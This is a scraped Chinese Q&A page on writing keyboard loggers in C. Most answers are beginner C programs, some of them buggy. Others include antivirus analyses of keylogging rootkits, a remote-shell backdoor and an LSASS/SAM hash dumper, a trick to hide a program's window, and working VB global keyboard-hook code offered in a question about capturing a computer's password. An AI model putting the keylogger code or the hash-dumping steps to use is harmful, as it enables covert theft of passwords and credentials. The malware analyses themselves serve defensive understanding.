當前位置:首頁 » 編程語言 » c語言鍵盤記錄器

c語言鍵盤記錄器

發布時間: 2022-08-22 10:59:54

① 如何用c語言設計一個鍵盤記錄器,新手

#include #include #define Max 100int main(){ char a[Max];//輸入的字元串 char b[Max]="小明";//比較的字元串 printf("你是?\n"); scanf("%s",a);//輸入字元串,這種方式字元串之間不能有空格,用, if(strcmp(a,b)==0){ //如果相等的話返回值為0 printf("你好\n"); } else{ printf("不認識你\n"); } return 0;}經過測試,可行!滿意請採納!

② 在c語言中如何記錄沖鍵盤上輸入的數據

這個容易哦,不過分太少了.
因為分太少,所以偷了點懶.按E和按F鍵的功能,我沒有做.就是說,少寫兩個函數.
而且輸入格式方面也有點問題.當然,改起來不難.
如果你加分的話,我會幫你做完.
呵呵,其實做到這里,其它的也不難了,可以自己練練.
#include<stdio.h>
#include <stdlib.h>
struct student
{
char name[20];
char num[20];
int a,a1,a2,a3,a4;
int aver;
}stu[10];
void mark(student *b)
{ int i;
for(i=0;i<10;i++)
{
b[i].a=b[i].a1+b[i].a2+b[i].a3+b[i].a3;
printf("%d ",b[i].a);
}
printf("\n");
}
void avemark(student *b)
{ int i;
for(i=0;i<10;i++)
{
b[i].a=b[i].a1+b[i].a2+b[i].a3+b[i].a3;
b[i].aver=b[i].a/4;
printf("%d ",b[i].aver);
}
printf("\n");
}
void maxstudent(student *b)
{ int i,max;
for(i=0;i<9;i++)
{
max=(b[i].a>b[i+1].a)?b[i].a:b[i+1].a;
}
for(i=0;i<10;i++)
if(b[i].a==max)
{
printf("最高分數學生的姓名,學號,總分,平均分如下:\n");
printf("%s %s %d\n",b[i].name,b[i].num,b[i].a,b[i].aver);
}
}
void xianshi(student *b)
{
int i;
printf("所有學生信息如下(依次為學生的姓名,學號,總分,四科成績):\n");
for(i=0;i<10;i++)
{
printf("%s %s %d %d %d %d %d %d\n",b[i].name,b[i].num,b[i].a,b[i].a1,b[i].a2,b[i].a3,b[i].a4);
}
}
int main()
{ int i,n;char c;
printf("依次輸入學生信息(姓名,學號,四科成績\n注意:各項信息用空格分開,輸完一個學生後按回車,接著輸下一個學生\n");
printf("輸入要輸入學生的人數:\n");
scanf("%d",&n);
for(i=0;i<n;i++)

printf("菜單如下:\n按A鍵列印四門課的總成績.\n按B鍵列印出平均成績按.\n");
printf("C鍵列印最高分的學生信息\n按D鍵顯示所有學生信息.\n");
printf("按E添加一個學生的記錄.\n按F鍵刪除一個學生記錄.\n按Q鍵退出.\n");
printf("請按鍵選擇(以小寫字母輸入):\n");
scanf("%c",&c);
switch(c)
{
case 'a':mark(stu);break;
case 'b':avemark(stu);break;
case 'c':maxstudent(stu);break;
case 'd':xianshi(stu);break;
case 'e':break;
case 'f':break;
case 'q':abort();
}
return 0;
}

③ 如何用c語言編寫一個,能夠記錄鍵盤上,所輸入的數的程序

#include<stdio.h>
intmain()
{
inta[100],i=0,j;
do{
scanf("%d",&a[i++]);
}while(a[i-1]!=-1);
for(j=0;j<i-1;j++)
printf("%4d",a[j]);
return0;
}

④ c語言如何編寫鍵盤記錄器 如果鍵盤記錄器不運行的話,能不能監測到鍵盤的輸入(因為平時我們電腦上

寫程序的時候不建控制台程序即可。
也可在控制台程序前加入:
#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#endif

#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
cout<<"Hello world!"<<endl;
::MessageBox(NULL , "" , "" , 0);
//暫停程序,就可以在任務管理器看這個我們的程序是運行了!
return 0;
}

⑤ Trojan/Rootkit.o 是什麼病毒,有什麼危害

鍵盤記錄器Rootkit」

此病毒是一個Rootkit病毒,由C語言編寫的過濾驅動程序,提供鍵盤按鍵記錄功能。

該Rootkit病毒近期多次被Trojan.PSW.Win32.GameOnline型的病毒釋放使用,在該病毒體內可以看到「C:\new-gamehack\GameHack\Driver\bin\i386\mssock.pdb」的字樣,從編譯路徑可以看出該Rootkit顯然是作者特意為盜取游戲密碼病毒所寫。

1、該病毒驅動程序入口函數執行如下操作:

(1) 檢查系統是否存在USB鍵盤設備:病毒首先通過調用ObReferenceObjectByName函數得到\Driver\hisb的驅動對象,然後遍歷該驅動對象創建的功能設備的設備鏈。對設備鏈上的每個設備對象,遍歷其所在的設備棧,對設備棧上的每個設備對象,通過 DEVICE_OBJECT->DriverObject->DriverName獲取每個設備的驅動名稱,比較是否是Driver\kbdhid,如果找到表示有USB鍵盤設備,得到USB鍵盤設備對象的指針。

(2)對鍵盤設備掛接過濾驅動:建立名稱為「\Device\mssock」、符號鏈接名為「\??\mssock」、類型為「FILE_DEVICE_UNKNOWN」的設備,然後通過調用函數IoAttachDeviceToDeviceStack將該設備掛接到鍵盤設備所在的設備棧。

對於USB鍵盤設備,掛接的目標設備為通過前面搜索得到的USB設備對象。對於沒有USB鍵盤設備的情況,通過調用IoGetDeviceObjectPointer獲取名稱為「\Device\KeyboardClass0」的PS/2 鍵盤設備作為目標設備。

(3)填寫功能函數地址:填充卸載常式及各個IRP處理常式回調。

2、病毒的IRP_MJ_READ處理常式:設置完成常式後直接調用IofCallDriver向下一設備傳遞IRP

3、病毒驅動設立的對鍵盤讀的irp包的完成常式:在該完成常式中,病毒驅動實現了獲取並記錄鍵盤按鍵的功能。病毒將讀到的按鍵記錄到緩沖區(通過DEVICE_OBJECT.DeviceExtension傳遞地址)。同時病毒作者在這里和IRP_MJ_DEVICE_CONTROL常式中通過寫0x60埠發送命令控制鍵盤NumLock燈的開閉,可能是作者為了調試時能夠方便的知道其過濾驅動的工作情況。

4、病毒驅動的IRP_MJ_DEVICE_CONTROL處理常式:在這個處理常式中,病毒對值為「0x 80102180」和「80102184」的IOCTL進行了處理。對於IOCTL = 0x 80102180 , 進行初始化處理,如清空記錄緩沖區、計數器等。對於IOCTL = 0x 80102180 ,病毒將把在緩沖區中記錄的按鍵掃描碼返回給調用者。使用這個rootkit的程序可以調用DeviceIoContro函數進行控制和讀取按鍵記錄。

5、卸載常式:

調用IoDetachDevice摘除過濾設備

調用IoDeleteSymbolicLink刪除符號鏈接

檢查是否有IRP未完成且IRP有效則調用IoCancelIrp嘗試取消這個IRP,如果取消IRP失敗則等待直到有下一次IRP然後取消。

調用IoDeleteDevice刪除設備。

由於該驅動在卸載常式中安全地刪除了過濾設備並嘗試取消未完成的IRP,所以該Rootkit可以被安全地卸載。不過一般的病毒作者很少會給用戶留下安全的卸載常式,所以懷疑該Rootkit是作者從網上抄來的代碼,作者有可能甚至不了解該驅動真正的工作原理。

「幻影後門」

這是一個具有感染功能、提供多種連接方式、可配置的後門病毒。

病毒作者在病毒體(客戶端控製程序)內留下了明確的簽名:
作者:dream2fly 作者網址: www.dream2fly.net 作者郵箱:[email protected]
作者的網址(論壇)中提供了多個自己編寫的軟體,包括本後門病毒。
作者的論壇中稱本病毒為UAM (Universal Access Manager),中文名稱「幻影遠程式控制制」,提供收費注冊使用。

病毒分為5個部分:服務端安裝程序(ctfime.exe)、服務端核心程序(SysIdt00.dll)、服務端啟動程序(被感染的explorer.exe)、客戶端控製程序(UAManager.exe)、隱藏埠的Rootkit (uamanger.sys)。

服務端安裝程序由C/C++語言編寫,UPX加殼保護。其它部分由C/C++或匯編語言編寫。

1、 服務端安裝程序
服務端安裝程序執行如下操作:

(1) 服務端安裝程序運行後從程序資源中釋放如下文件:

"%windir%\system32\SysIdt00.dll"、"%windir%\system32\DRIVERS\uamanger.sys"

(2) 然後將自己復制為"%windir%\system32\ctfime.exe"並啟動,同時刪除原文件。

(3) 將SysIdt00.dll、ctfime.exe、uamanger.sys的文件時間修改為同系統的cmd.exe相同,並將屬性設置為「系統+隱藏」。

(4) 修改系統的文件保護,然後感染系統的explorer.exe。

(5) 以隱藏窗口方式啟動被感染的explorer.exe。

2、 服務端啟動程序(被感染的explorer.exe)

服務端安裝程序在感染explorer.exe時,在其最後增加一個大小為0x1000的節寫入病毒代碼,並將入口點改為指向新的節的開始。被感染的病毒代碼執行時通過調用LoadLibraryA裝載SysIdt00.dll,然後返回原入口點。病毒感染explorer.exe的目的是為了在系統啟動時都能運行SysIdt00.dll,達到自啟動的目的。

3、服務端核心程序(SysIdt00.dll)

SysIdt00.dll中是遠端監控的核心代碼。
SysIdt00.dll通過被感染的explorer.exe被裝載後執行如下功能:

(1) 通過調用SeDebugPrivilege等函數提升許可權。

(2) 遍歷進程對找到的第一個」svchost」進程,將自己將注入其內存,然後通過CreateRemoteThread啟動其導出函數」Entry」。

SysIdt00.dll被注入svchost進程後執行如下功能:

(1) 通過嘗試打開名為"UAM_4803"的互斥量來檢查驅動是否載入,如載入則不做其它操作。

(2) 如果驅動沒有載入,根據設置(可在生成服務端時設置是否載入驅動)載入驅動"%windir%\system32\DRIVERS\uamanger.sys"。

(3) 啟動工作線程,實現遠程監控功能。

(4) 在實現連接時,通過寫文件"\\.\UAM"將連接的埠傳給驅動,實現隱藏埠。

(5) 根據設置的連接方式和密碼連接客戶端(控制端)

生成服務端時可以設置三種連接方式:
直接連接方式(設置監聽,由控制端來連接服務端)
反彈連接方式1 (設置ip地址和埠,服務端去連接控制端)
反彈連接方式2 (設置網頁地址,服務端從這個地址下載ip.txt,按照其內容去連接控制端)

(6) 遠程式控制制可以接受如下命令執行操作:

遠程shell (cmd.exe命令操作)
進程管理
文件管理
遠程桌面
視頻監控
日誌管理(查看、刪除系統日誌)
從任意網址下載、執行文件
遠程更新、卸載服務端

4、客戶端控製程序(UAManager.exe)

客戶端控製程序提供遠程連接控制功能,並且可以生成服務端程序。
在生成服務端程序時,可以進行如下設置:

連接方式和地址、連接密碼、是否載入驅動、服務端運行時間。

5、隱藏埠的Rootkit (uamanger.sys)

病毒名稱為Rootkit.Win32.PortHide.a,該驅動載入後首先創建一個名為\Device\hypy的設備和一個名為\??\hypy的符號鏈接用來和3環程序交互。這個設備名與3環程序所使用的符號鏈接(\\.\UAM)不同,所以顯然我們所截獲的樣本是無法正常工作的。

之後該驅動注冊IRP處理回調,在IRP_MJ_WRITE處理常式中,該驅動接受3環傳入的需要隱藏的埠號,並保存在一個全局變數中。不過該Rootkit作者顯然對驅動編寫很不熟悉,所有的IRP處理常式均沒有通過IofCompleteRequest完成,而是直接返回到I/O管理器。所以該驅動是無法正常地完成所希望實現的功能的。

該驅動通過替換KeServiceDescriptorTable中的函數地址來掛鉤ZwDeviceIoControlFile,該Rootkit通過掛鉤該API來隱藏指定埠。

「代理Rootkit變種XD」

此程序為rootkit類型程序
1.在驅動初始化時,對設備名和設備符號鏈接字元串進行解碼,並創建設備和相應的符號鏈接來與用戶態程序通信;
2.去除CR0寄存器中的WP位,以防止寫只讀頁出現頁異常,然後將內存中的加密字元串解碼並寫回,此解密字元串將用來與IOCTL傳遞的參數比較,從而判斷是否響應該用戶程序的IOCTRL;
3.獲取進程的EPROCESS地址,在此結構體中搜索"system"字元串偏移,然後根據此偏移計算進程名在EPROCESS中的偏移,以備比較進程時使用;
4.注冊IRP處理常式
支持:創建文件、設置注冊表鍵值、關閉線程和卸載驅動
5.創建系統線程,每隔指定的時間後,嘗試寫入驅動程序對應的注冊表項
6.注冊進程創建通知常式,每當創建新進程時,該驅動做如下操作:
1)獲取創建進程的EPROCESS,根據計算的偏移獲取當前進程名稱
2)判斷當前創建進程是否為userinit.exe或者是explorer.exe,
如果是則創建系統線程,寫入注冊表項
\registry\machine\software\microsoft\windows\currentversion\runonce
鍵值:
%systemroot%\system32\Rundll32.exe %systemroot%\system32\%s.dll,DllUnregisterServer
3)映射ntoskrnl.exe到內存中,獲取ntoskrnl.exe的服務表中指定服務函數的地址並保存,利用獲取的服務函數地址枚舉注冊表,試圖繞過其他軟體的攔截;
4)記錄 Winlogon.exe 的啟動,但沒有做其它操作,可能在以後的版本中會進行相關處理

「哈希信息竊取器」

這是一個C/C++編寫的黑客工具。

該工具主要用來獲取當前主機用戶的LM/NTLM散列,使用者可以通過該散列對主機用戶密碼進行暴力破解.

支持用法:pwmp2 <pid of lsass.exe>

主程序行為:
1.若沒有指定lsass.exe/pid參數,則執行如下操作:
[1].載入ntdll.dll,獲取導出函數
NtQuerySystemInformation
RtlCompareUnicodeString
[2].調用NtQuerySystemInformation,InformationClass=5,獲取進程信息列表
[3].遍歷列表查找LSASS.EXE,獲取該進程ID

2.打開自身進程,添加SeDebugPrivilege許可權,以允許當前進程對LSASS.EXE等進程進行內存操作和線程操作

3.打開查找到的進程LSASS.EXE,獲取該進程句柄

4.創建一事件,用於與通信線程同步

5.創建通信線程,執行如下操作:
[1]. 根據當前進程ID創建命名管道\\.\pipe\pwmp2-%ID%
[2]. 設置事件為有狀態,通知主線程管道創建成功
[3]. 連接到管道並從中讀取數據直到關閉

6.在創建的事件上等待,與之前創建的管道通信線程同步

7.向LSASS.EXE進程空間中寫入創建的管道名和輔助動態庫SamDump.dll導出函數名(DumpSam)作為參數,創建遠程線程.
在遠程線程中,根據傳遞的API地址,載入DLL,獲取DLL導出函數(DumpSam)並調用

8.等待遠程線程返回,釋放資源。

動態庫SamDump.dll導出函數DumpSam(char *)執行如下操作:

1.根據傳入參數打開通信管道

2.載入samsrv.dll,獲取如下函數地址
SamIConnect
SamrOpenDomain
SamrOpenUser
SamrQueryInformationUser
SamrEnumerateUsersInDomain
SamIFree_SAMPR_USER_INFO_BUFFER
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle

3.依次調用如下函數
LsaOpenPolicy打開NT工作站
LsaQueryInformationPolicy獲取工作站域SID
SamIConnect連接到SAM資料庫
SamrOpenDomain根據域SID打開域
SamrEnumerateUsersInDomain枚舉域內用戶
SamrOpenUser打開域內指定用戶,獲取句柄
SamrQueryInformationUser枚舉域用戶信息
SamIFree_SAMPR_USER_INFO_BUFFER
SamrCloseHandle

⑥ 學了哪些比如C語言,怎麼編程比如獲取QQ密碼,獲取鍵盤記錄,謝謝了

QQ密碼不是那麼好獲取的,有干擾,在密碼框還有一個timer定時器只要你滑鼠放到密碼框去,就會被激活這個定時器而且會隨機插入其它字元進來,而且密碼框還有Hook,專門是否有Hook載入准們對方其它Hook鉤子,如果發現就會馬上卸載,因為QQ密碼框不但有載入的Hook,還有卸載的

⑦ c語言中Sleep時總是記錄鍵盤輸入,若無意按下,導致下面進行的gets時已經有了輸入的字元,須退格,怎解決

在Sleep函數後面加一個字元處理的代碼:

while(getchar()!=EOF);

⑧ 如何用鍵盤記錄器來獲取電腦開機密碼

鍵盤記錄可以,但輸入密碼時window還沒進入呢
想要破解密碼到網上找把這種軟體多的是
暴力點的直接去掉:
對我的電腦點右鍵->管理->(左邊)本地用戶和組->右邊雙擊用戶->對你想去密碼的用戶點右鍵,設置密碼(這個不需要原密碼)點確定就行了
用鍵盤記錄:
'先建一個工程
'要有一個窗體(Form1)和模塊,窗體中加一個list1
'-----------------------窗體代碼-------------------------
Public hHook
Private Sub Form_Load()
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0)
End Sub

Private Sub Form_Unload(Cancel As Integer)
UnhookWindowsHookEx hHook
End Sub
'--------------------------模塊代碼----------------------------

Option Explicit

Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Const WH_KEYBOARD = 2
Public Const WH_KEYBOARD_LL = 13
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const WM_SYSCHAR = &H106
Public Const WM_SYSCOMMAND = &H112

Public Type KEYMSGS
vKey As Long '虛擬碼 (and &HFF)
sKey As Long '掃描碼
flag As Long '鍵按下:128 抬起:0
time As Long 'Window運行時間
End Type

Public keyMsg As KEYMSGS '鍵盤消息
Public hHook As Long '創建的鉤子的句柄
Dim Key1, Key2
Dim Keys1 As Boolean, Keys2 As Boolean
Public StrKey1 As String
Public StrKey2 As String
Dim StrTxts As String
Public Downed As Boolean
Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Dim lKey As Long

Dim strKeyName As String * 255

Dim strLen As Long

If idHook = HC_ACTION Then

CopyMemory keyMsg, lParam, LenB(keyMsg)

Select Case wParam

Case WM_SYSKEYUP, WM_KEYUP '判斷是否為鍵盤消息

lKey = keyMsg.sKey And &HFF '掃描碼

lKey = lKey * 65536 '將掃描碼左移16位,使位0~15置0

If keyMsg.flag = 0 Or keyMsg.flag = 32 Or keyMsg.flag = 128 Or keyMsg.sKey = 54 Then

strLen = GetKeyNameText(lKey, strKeyName, 250) '獲取該按鍵的名稱

Else

strLen = GetKeyNameText((lKey Or &H1000000), strKeyName, 250) '位24為增強型鍵盤上的擴展位
End If

Form1.List1.AddItem strKeyName

End Select

End If

CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam) '呼叫下一個鉤子

End Function

⑨ 怎樣通過C語言記錄鍵盤輸入字元的個數

可以使用循環控制
例如:
#include"stdio.h"
main()
{
int i,j;
int year[5][2];
for(i=0;i<5;i++)//總共5組
{
for(j=0;j<2;j++)//每組2個
scanf("%d",&year[i][j]);
for(j=0;j<2;j++)
printf("%d,",year[i][j]);//輸入完兩個數接著輸出,然後下一次兩個數輸入
printf("\n");
}
}
如果你想運行程序可以手動刪除//以及之後的中文說明,那是解釋部分,方便你理解的。

⑩ 鍵盤記錄器

你是怎麼運行的?編譯了沒?

熱點內容
真我手機如何解除手機密碼 發布:2024-05-04 18:24:44 瀏覽:707
資料庫嵌套 發布:2024-05-04 18:24:29 瀏覽:144
豌豆莢源碼 發布:2024-05-04 18:10:54 瀏覽:115
蘋果消息的聲音安卓怎麼弄 發布:2024-05-04 18:06:23 瀏覽:553
減配配置有哪些 發布:2024-05-04 18:04:58 瀏覽:961
查詢密碼單是什麼 發布:2024-05-04 17:54:03 瀏覽:40
安卓系統不支持網路怎麼辦 發布:2024-05-04 17:49:31 瀏覽:128
oraclesqlserver 發布:2024-05-04 17:49:16 瀏覽:47
關愛腳本 發布:2024-05-04 17:43:47 瀏覽:422
linuxshellif 發布:2024-05-04 17:09:47 瀏覽:17